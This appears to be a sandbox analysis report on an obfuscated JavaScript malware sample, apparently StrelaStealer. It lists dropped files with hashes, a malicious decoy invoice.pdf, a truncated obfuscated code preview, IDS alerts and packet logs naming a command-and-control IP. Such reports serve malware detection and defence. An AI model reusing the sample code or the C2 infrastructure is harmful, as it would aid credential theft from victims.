Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\6b3402ba-8f50-428a-a5c6-a16942046d2f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\7aea2348-a673-42b5-abe5-5e7d89d32c96.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16962), with CRLF line terminators
Entropy (8bit):	4.904688000286989
TrID:
File name:	1223923852588014617.js
File size:	20'359 bytes
MD5:	b0ad1e90862c9af35e8dd2cff0e88a52
SHA1:	63de6689c3b81567be0cc179d0bd55a0037fdbf8
SHA256:	5f215b4f8ec663a25645076ea5614e23efcd94afd1fa4ae0d935da80ea36722b
SHA512:	2dca53fd5676799c15043858f3418ac35436ce0c546d95c88be4c8a3e15befb035bff98f5815f647799cf12cb6af7b76dc32d8172c89a2090ca51865775b885f
SSDEEP:	384:6NXyYyrl3i45cdQa/XlYJDSQBv1+wLnzAN5adl:iSyxeJDSQBN+wL5
TLSH:	269242C91B088FAA91E6D8F04A7604EB037ED04EC959022741A6B876CF89D797FF10F5
File Content Preview:	function tujtpzcn(){lcbsseu=[1031,3079,5127,4103,2055,3072];var qphgp=this[zbcwe+yneyizdm+rccsauxzq+lunxf+aluir+dxedghk+yoekvpjmk+dnmnozks](this[egfsn+djmmftw+ugdyz+rccsauxzq+aezsc+zbcwe+dnmnozks][mcsvzrgsu+rccsauxzq+aluir+yneyizdm+dnmnozks+aluir+wdluhu+o

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T05:09:18.487017+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T05:09:18.487017+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T05:09:20.545954+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:09:17.696244001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:17.701050997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:17.701129913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:17.704196930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:17.708941936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.486921072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.486946106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.486957073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.486968994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.487018108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.487016916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.487030983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.487042904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.487055063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.487056971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.487082958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.487107038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.487109900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.487119913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.487149000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.491914988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.530183077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.530199051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.530210018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.530366898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.619473934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.619488001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.619498968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.619648933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.619708061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.619719028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.619728088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.619741917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.619754076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.619761944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.619771957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.619806051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.620410919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.620428085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.620440960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.620451927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.620465040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.620482922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.620515108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.621144056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.621155977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.621167898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.621190071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.621210098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.621212006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.621226072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.621278048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.622013092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.622024059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.622034073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.622056961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.660258055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.660286903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.660307884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.660319090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.660331011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.660340071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.660363913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.706069946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.706084967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.706168890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.743804932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.743819952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.743841887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.743870020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.743891001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.743901968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.743908882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.743915081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.743931055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.743947983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.743971109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.744534969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.744544983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.744573116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.744769096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.744781017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.744807959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.744820118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.744827032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.744834900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.744846106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.744853020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.744882107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.745379925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.745393991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.745405912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.745429039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.745439053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.745452881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.745464087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.745475054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.745476961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.745498896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.746243000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.746264935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.746274948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.746280909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.746305943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.746344090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.746355057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.746368885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.746402979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.746421099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.746470928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.747323036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.747334003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.747349024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.747360945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.747363091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.747375965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.747389078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.747390985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.747421980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.747431040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.748168945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.748181105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.748193979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.748204947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.748205900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.748224020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.748559952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.748598099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.784427881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.784538984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.784549952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.784569979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.784583092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.784595013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.784598112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.784610033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.784621000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.784625053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.784662962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.830410957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.830445051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.830456972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.830507040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.868678093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.868711948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.868730068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.868742943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.868752956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.868771076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.868782043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.868807077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.868833065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.868901014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.868910074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.868938923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.868978977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.869007111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.869016886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.869039059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.869092941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.869107008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.869119883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.869126081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.869155884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.869509935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.869522095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.869534016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.869573116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.869579077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.869582891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.869604111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.869613886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.869615078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:09:18.869625092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:09:18.869643927 CET	49730	80	192.168.2.4	193.143.1.205
